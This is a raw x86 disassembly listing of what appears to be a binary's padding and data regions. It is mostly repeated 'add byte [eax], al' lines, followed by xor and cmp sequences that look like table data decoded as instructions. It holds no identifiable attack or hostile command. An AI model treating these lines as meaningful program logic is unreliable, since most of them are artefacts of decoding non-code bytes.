add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
sub al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
sub al, 0
add byte [eax], al
aaa
xor dword [edi + 0x32], ecx
sal dword [edx], 1
sub dword [ebx], esi
xor esi, dword [ebx]
in eax, dx
xor edi, ebx
xor esp, dword [ebx + 0x34]
jo 0x45a04e
test eax, 0xda34b334
xor eax, 0x36b536a6
or byte [edi], dh
stosb byte es:[edi], al
cmp ah, cl
cmp byte [ecx], dl
cmp eax, dword [eax]
and byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [edi], ah
xor byte [ecx + 0x4c31da30], bh
xor al, 0x72
xor al, 0x51
xor eax, 0x374e3568
scasb al, byte es:[edi]
cmp dword [ebx + 0x3fd539], edi
add byte [eax], al
xor byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [ebp + 0x30], ah
jnp 0x45a088
add byte [eax], al
xor byte [eax], al
add byte [eax], al
xor byte gs:[ebx + 0x30], bh
mov dword [0x6b396438], eax
cmp dword [ebx], esi
cmp edi, dword [edx]
cmp esp, dword [ebp + 0x3b]
jo 0x45a0a1
idiv dword [ecx + ecx*2]
jg 0x45a0aa
fnstcw word [esi]
adc byte [edi], bh
xor edi, dword [edi]
dec ebx
aas
push 0xe93fbd3f
aas
add byte [eax], al
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
push es
xor byte [ebx], ch
xor byte [ebp + 0x30], cl
inc edi
xor dword [ecx + esi - 0x6a], esi
dec ebp
xor byte [edi + 0x31], al
je 0x45a0bf
xchg esi, eax
xor dword [edi], ecx
xor cl, byte [edx + 0x33]
scasb al, byte es:[edi]
xor ebp, esi
xor ecx, ebx
xor al, 0xec
xor al, 0x58
lea edi, ds:[esi]
cdq
movsd dword es:[edi], dword ds:[esi]
mov cl, 0x3e
mov ebp, 0x283f193e
aas
sub byte [edi], bh
xor edi, dword [edi]
inc ebp
aas
arpl word [edi], di
mov ebx, 0xf33fd53f
aas
add byte [eax], dl
add byte [eax], ch
add byte [eax], al
add byte [eax], ch
xor byte [esi], ah
xor cl, byte [ecx + 0x32]
insb byte es:[edi], dx
xor al, al
xor al, 0x46
xor eax, 0x3851384c
test al, 0x3b
hlt
push esp
cmp eax, 0x3ddb3dc8
jmp 0xf7839484
aaa
nop
cmp dword [edx + 0x733a0839], esp
cmp bh, byte [ecx + 0x3a]
nop
cmp ah, byte [ebx - 0x21c505c6]
cmp esi, esp
cmp eax, dword [esp + edi]
or bh, byte [ebx + edx]
cmp al, 0x27
cmp al, 0x3a
cmp al, 0x49
cmp al, 0x7a
cmp al, 0x86
cmp al, 0x93
cmp al, 0xac
cmp al, 0xc9
cmp al, 0xd5
cmp al, 0xe1
cmp al, 0xe8
cmp al, 0xf3
cmp al, 0xf9
cmp al, 0xf9
cmp al, 5
cmp eax, 0x3d2f3d25
cmp byte [0x3d523d3f], bh
pop eax
cmp eax, 0x3d783d6b
mov dword [0x3dac3da3], edi
ret
xor dword [edi], edi
cmp dword [edi], edi
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], 0
add byte [eax], dl
xor byte [edx], ah
xor byte [ecx], ch
xor byte [esi], dh
xor byte [eax + esi], bh
inc ebx
xor cl, ch
xor byte [edi], al
xor dword [0xe731c931], esp
xor dword [0x11320b32], eax
xor dl, byte [ecx]
xor dl, byte [ecx]
xor dl, byte [esi]
xor ah, byte [edi]
xor dh, byte [eax + 0x32]
mov byte [edx], dh
invalid
xor edx, dword [esi + 0x2c341933]
xor al, 0x32
xor al, 0xe9
add al, 0x37
outsb dx, byte [esi]
aaa
test al, 0x37
and dword [ecx], edi
cmp dword ss:[0x603b4f3b], edi
cmp esi, dword [ecx + 0x3b]
aam 0x3b
fidivr dword [ebx]
sti
cmp ebx, dword [esi]
cmp al, 0x42
cmp al, 0xc1
cmp al, 0xea
cmp al, 2
cmp eax, 0x3fb83f7d
ret 0x3f
xor eax, ebx
xor ebx, ecx
xor ebp, edi
xor esi, ebp
xor ecx, dword [edx]
xor al, 0x20
xor al, 0x36
xor al, 0x4c
xor al, 0x52
xor al, 0x67
xor al, 0x6d
xor al, 0x82
xor al, 0x98
xor al, 0xae
xor al, 0xc4
xor al, 0xda
xor al, 0xf0
xor al, 6
xor eax, 0x3532351c
dec eax
xor eax, 0x3563354e
imul esi, dword [0x3594357e], 0x35af359a
lds esi, [0x35e035cb]
out 0x35, al
sti
xor eax, 0x36163601
sbb al, 0x36
xor dword [esi], esi
aaa
dec esp
push edx
jge 0x45a55a
xchg ebx, eax
test eax, 0xc436af36
fidiv dword ss:[esi]
loopne 0x45a566
cmc
sti
adc byte ss:[edi], dh
push ss
aaa
sub esi, dword [edi]
xor dword [edi], esi
inc esi
aaa
pop esp
aaa
bound esi, qword [edi]
ja 0x45a57b
lea esi, [edi]
mov dword [0xbe37a937], eax
aaa
les esi, [edi]
fnstenv [edi]
out dx, eax
aaa
add eax, 0x20380b38
cmp byte [esi], ah
cmp byte [ebx], bh
cmp byte [ecx + 0x38], dl
cmp byte [di + 0x38], bh
cmp edi, dword [eax]
push ecx
cmp byte [edi + 0x38], ah
jge 0x45a59a
xchg ebx, eax
cmp byte [ecx - 0x2ac740c8], ch
cmp bl, bl
mov edi, 0xdb38d538
cmp al, dh
cmp byte [esi], al
cmp dword [ecx + edi], ebx
and bh, byte [ecx]
aaa
cmp dword [ebp + 0x39], ecx
push ebx
cmp dword [eax + 0x39], ebp
jle 0x45a5b7
cmp dword [esi + 0x39], edi
xchg esp, eax
cmp dword [edx - 0x3ac64fc7], ebp
mov al, 0x39
lds edi, [ecx]
retf
cmp eax, esp
cmp esi, esi
cmp esp, edi
cmp dword [ecx], edx
cmp ah, byte [edi]
cmp bh, byte [0x583a433a]
cmp ch, byte [esi + 0x3a]
mov al, 0x39
lds edi, [ecx]
retf
test byte [edx], bh
lcall 0xcb3a, 0xb63ab03a
cmp dl, cl
cmp ah, dh
cmp bh, ah
cld
cld
cmp al, byte [edx]
cmp edx, dword [edi]
cmp ebp, dword [0x493b433b]
cmp ebx, dword [esi + 0x3b]
je 0x45a5f3
cmp edi, dword [edx + 0x3b]
jp 0x45a5f5
invalid
cmp eax, 0x3d683d53
outsb dx, byte [esi]
cmp eax, 0x3d893d83
sahf
cmp eax, 0x3db93da4
iretd
cmp eax, 0x3d6e3d68
cmp dword [0x3d9e3d89], 0xffffffa4
cmp eax, 0x3dcf3db9
in eax, 0x3d
jmp 0x45a647
aas
out dx, eax
aas
add byte [eax], al
add byte [eax], dh
add dword [eax], eax
sbb al, 1
add byte [eax], al
add eax, 0x20300b30
xor byte [esi], dh
xor byte [eax + esi], bh
push ecx
xor byte [edi + 0x30], ah
insd dword es:[edi], dx
xor byte [edx - 0x62cf77d0], al
xor byte [ebx - 0x20cf36d0], dh
xor ch, ah
xor dl, bh
xor byte [eax], dl
xor dword [esi], edx
xor dword [ebx], ebp
xor dword [ecx], esi
xor dword [esi + 0x31], eax
pop esp
xor dword [edx + 0x31], esp
ja 0x45a6b5
lea esi, [ecx]
mov dword [0xbf31b931], eax
xor esp, edx
xor edx, ebp
xor eax, esi
xor dword [0x20320b32], eax
xor ah, byte [eax]
xor ah, byte [eax]
xor dh, byte [esi]
xor cl, byte [edx + esi + 0x52]
xor ah, byte [edi + 0x32]
jge 0x45a6d4
xor dword [edx], 0xffffff98
xor bl, byte [esi - 0x46cd4cce]
xor cl, dh
xor ah, ah
xor ch, dl
xor bh, bh
xor dl, byte [0x31332b33]
xor ebp, dword [ebx]
xor esi, dword [ecx]
xor eax, dword [esi + 0x33]
pop esp
xor esi, dword [edx + 0x33]
mov byte [ebx], dh
invalid
xor ebx, dword [ebx + esi + 0x72]
xor ecx, dword [eax - 0x5ccc71cd]
xor edi, dword [ecx - 0x2bcc40cd]
xor ebx, edx
xor ebp, edi
xor eax, dword [0x31341b34]
xor al, 0x37
xor dword [edi + esi], esi
xor al, 0x4c
xor al, 0x52
xor al, 0x67
xor al, 0x7d
xor al, 0x83
xor al, 0x98
xor al, 0xae
xor al, 0xb4
xor al, 0xc9
xor al, 0xcf
iretd
xor al, 0xe4
xor al, 0xea
xor al, 0xff
xor al, 5
xor eax, 0x3520351a
xor eax, 0x5b354535
xor eax, 0x35763561
jl 0x45a739
iretd
xchg ecx, eax
xor eax, 0x35ac3597
mov cl, 0x35
sal byte [0x35d535c6], 0xdb
aad 0x35
invalid
xor eax, 0x35f035ea
add eax, 0x20360b36
cmp esi, dword ss:[esi]
inc ecx
push esi
pop esp
jno 0x45a760
aad 0x35
invalid
ja 0x45a762
invalid
jecxz 0x45a772
clc
invalid
invalid
les edi, [edi]
out dx, al
aas
add byte [eax], al
add byte [eax + 1], al
add byte [eax + eax], ah
add byte [eax + esi + 0x30fc30c6], dh
xchg edx, eax
xor dword [eax + 0x32], edi
mov dword [0xb32dd32], eax
xor ecx, dword [ebp - 0x34cb69cd]
xor al, 0xff
xor al, 0x2d
xor eax, 0x3593355c
dec edi
invalid
invalid
xor al, 0xb6
xor al, 0x14
xor eax, 0x35b13583
loop 0x45a8e5
or dh, byte [esi]
jnp 0x45a8ea
mov eax, dword [0x836da36]
aaa
aaa
aaa
div byte [edi]
cmp byte [eax], bh
ja 0x45a8fb
mov al, byte [0xfb39ce39]
cmp dword [edi], esi
cmp al, byte [ecx + 0x7e3aa73a]
cmp ebp, dword [ebx + 0xb3bdf3b]
cmp ecx, dword [ebx]
cmp ecx, dword [ebx]
cmp eax, 0x3d6e3d34
sbb dword [esi], edi
dec ecx
mov byte ds:[esi], bh
mov dl, 0x3e
add bh, byte [edi]
cmp edi, dword [edi]
aas
popal
aas
lcall 0x180, 0x3fc03f
add byte [eax + 0x24000001], al
xor byte [edx + 0x30], dh
sar byte [edi], 0
add byte [ecx], 0
add byte [ecx], 0
add byte [eax + esi], ah
jb 0x45a928
mov al, byte [0x30ce30]
xor byte [eax], al
xor dword [esi], ebp
xor ecx, ebx
xor esi, esp
xor dword [edx], edx
xor ch, byte [eax]
xor esp, dword [edx + 0x33]
div dword [ebx]
das
xor al, 0x5d
xor al, 0x83
xor dword [edx + esi*4], 0x35
out 0x35, eax
pop ss
aas
xor dword [edx + esi*4], 0x35
out 0x35, eax
pop ss
aas
dec ecx
pop ebp
jno 0x45a956
jnp 0x45a958
invalid
sal dword [esi], 0xcb
aad 0x36
fbstp tbyte [esi]
jmp 0x117ca66b
aaa
cmpsd dword [esi], dword es:[edi]
aaa
mov cl, 0x37
lds esi, [edi]
fnstenv [edi]
jecxz 0x45a989
in eax, dx
aaa
div dword [edi]
add dword [eax], edi
or edi, dword [eax]
adc eax, 0x33381f38
cmp byte [edi + 0x38], al
pop ebx
cmp byte [ebp + 0x38], ah
outsd dx, dword [esi]
cmp byte [ebx - 0x68c772c8], al
cmp byte [ebx - 0x40c74ac8], ch
cmp cl, cl
cmp ch, bl
cmp cl, dh
cmp bl, bh
cmp byte [edi], cl
cmp dword [ebx], esp
cmp dword [edi], esi
cmp dword [ebx + 0x39], ecx
push ebp
cmp dword [edi + 0x39], ebx
imul edi, dword [ecx], 0x3991397d
movsd dword es:[edi], dword [esi]
cmp dword [edi - 0x32c63cc7], ebp
cmp dword [ebp + 0x39], edi
xchg ecx, eax
cmp dword [ebp - 0x3cc650c7], esp
cmp ebp, ecx
cmp edi, edx
cmp ecx, esp
cmp ebx, ebp
cmp ebp, esi
cmp edi, edi
cmp dword [ebx], edx
cmp bl, byte [0x313a273a]
cmp bh, byte [ebx]
cmp al, byte [ebp + 0x3a]
pop ecx
cmp ah, byte [ebx + 0x3a]
insd dword es:[edi], dx
cmp al, byte [ecx - 0x60c56ac6]
cmp dh, byte [ebx - 0x2ec542c6]
cmp bl, bl
cmp ah, ch
cmp ch, bh
cmp al, byte [ebx]
cmp edx, dword [edi]
cmp esp, dword [ecx]
cmp esi, dword [0x5d3b493b]
cmp esi, dword [ecx + 0x3b]
jnp 0x45aa0f
test dword [ebx], edi
cdq
cmp ebp, dword [ebp - 0x3ec448c5]
cmp ecx, ebx
cmp edx, ebp
cmp ebx, edi
cmp esi, ebx
cmp eax, dword [edi]
cmp al, 0x1b
cmp al, 0x25
cmp al, 0x2f
cmp al, 0x43
cmp al, 0x4d
cmp al, 0x57
cmp al, 0x61
cmp al, 0x6b
cmp al, 0x75
cmp al, 0x7f
cmp al, 0x93
cmp al, 0xa7
cmp al, 0xbb
cmp al, 0xc5
cmp al, 0xcf
cmp al, 0xd9
cmp al, 0xe3
cmp al, 0xed
cmp al, 0xf7
cmp al, 1
cmp eax, 0x3d1f3d0b
xor edi, dword [0x3d5b3d47]
cmp eax, 0x3d833d6f
xchg edi, eax
cmp eax, 0x3dbf3dab
sar dword [0x3de73ddd], cl
sti
cmp eax, 0x3e193e05
sub eax, 0x4b3e373e
pop edi
imul edi, dword ds:[esi], 0x3e7d3e73
xchg ecx, eax
movsd dword es:[edi], dword ds:[esi]
scasd eax, dword es:[edi]
ret
invalid
bound esi, qword [ebx]
push 0xcc339b33
xor ebx, edx
xor edi, eax
xor edx, dword [edi - 0x31cb55cc]
xor al, 0xb2
xor eax, 0x379a376b
stosd dword es:[edi], eax
aaa
imul edi, dword [eax], 0x7e
cmp byte [esi - 0x7cc683c8], cl
cmp cl, al
cmp edx, edx
cmp esp, esi
cmp esp, dword [ebp + 0x3c]
js 0x45ab90
xchg byte [esi + ebx*4], bh
cmp al, 0xef
cmp al, 0xfd
cmp al, 0xf
cmp eax, 0x3e023d15
add bh, byte [esi]
add bh, byte [esi]
push ss
pop edx
add al, ah
add dword [eax], eax
mov word [eax], es
add byte [eax], al
imul esi, dword [eax], 0x307e3078
adc al, 0x31
and esi, dword [ecx]
dec ecx
xor edi, esp
xor edi, esi
xor dword [ecx], esp
xor dh, byte [edi - 0x16cd38ce]
xor al, byte [edi - 0x46cc68cd]
xor edi, dword [edx + 0x34]
xchg byte [esi + ecx*8], dh
into
xor al, 0xff
xor al, 6
xor eax, 0x354f3520
push ebp
xor eax, 0x360435f4
xor al, 0x36
push esp
hlt
cmp dword [ebx + 0x39], ebp
jns 0x45abf9
test dword [ecx], edi
dec ebx
cmp al, byte [edx + edi + 0x3b273a89]
cmp esi, dword ds:[ebp + 0x3b]
cmp al, 0x77
cmp al, 0xaf
cmp al, 0x9c
cmp eax, 0x3dd23da8
fidivr word [0x3e883e7c]
mov bh, 0x3e
lds edi, [esi]
in al, 0x3e
clc
xchg dword ds:[edi], edi
lcall 0xda3f, 0xcc3fc23f
aas
in eax, 0x3f
add al, dh
add dword [eax], eax
jo 0x45abfa
add byte [eax], al
add byte [ebx - 0x1fcf34d0], bh
add byte [eax], al
mov ebx, 0xe030cb30
xor al, bh
xor byte [edx], cl
xor dword [eax], ebx
xor dword [ebx], esp
xor dword [edi], ebp
das
das
xor dword [edx], edi
xor dword [ebx + 0x31], eax
push ebx
xor dword [ecx + 0x31], ebx
ja 0x45ac47
xor dword [ecx], 0xffffffad
xor ecx, edx
xor dword [edx + esi - 0x71], esi
xor cl, bl
xor ah, ch
xor ch, bl
xor bh, byte [edi]
xor al, 0x74
xor al, 0x7e
xor al, 0x97
xor al, 0xa1
xor al, 0x80
xor eax, 0x36763670
test byte [esi], dh
xchg edx, eax
mov dword ss:[0xb436a936], eax
invalid
add byte ss:[edi], dh
push es
aaa
or eax, 0x24371837
aaa
xor dh, byte [edi]
aam 0x38
invalid
cmp al, 0xcc
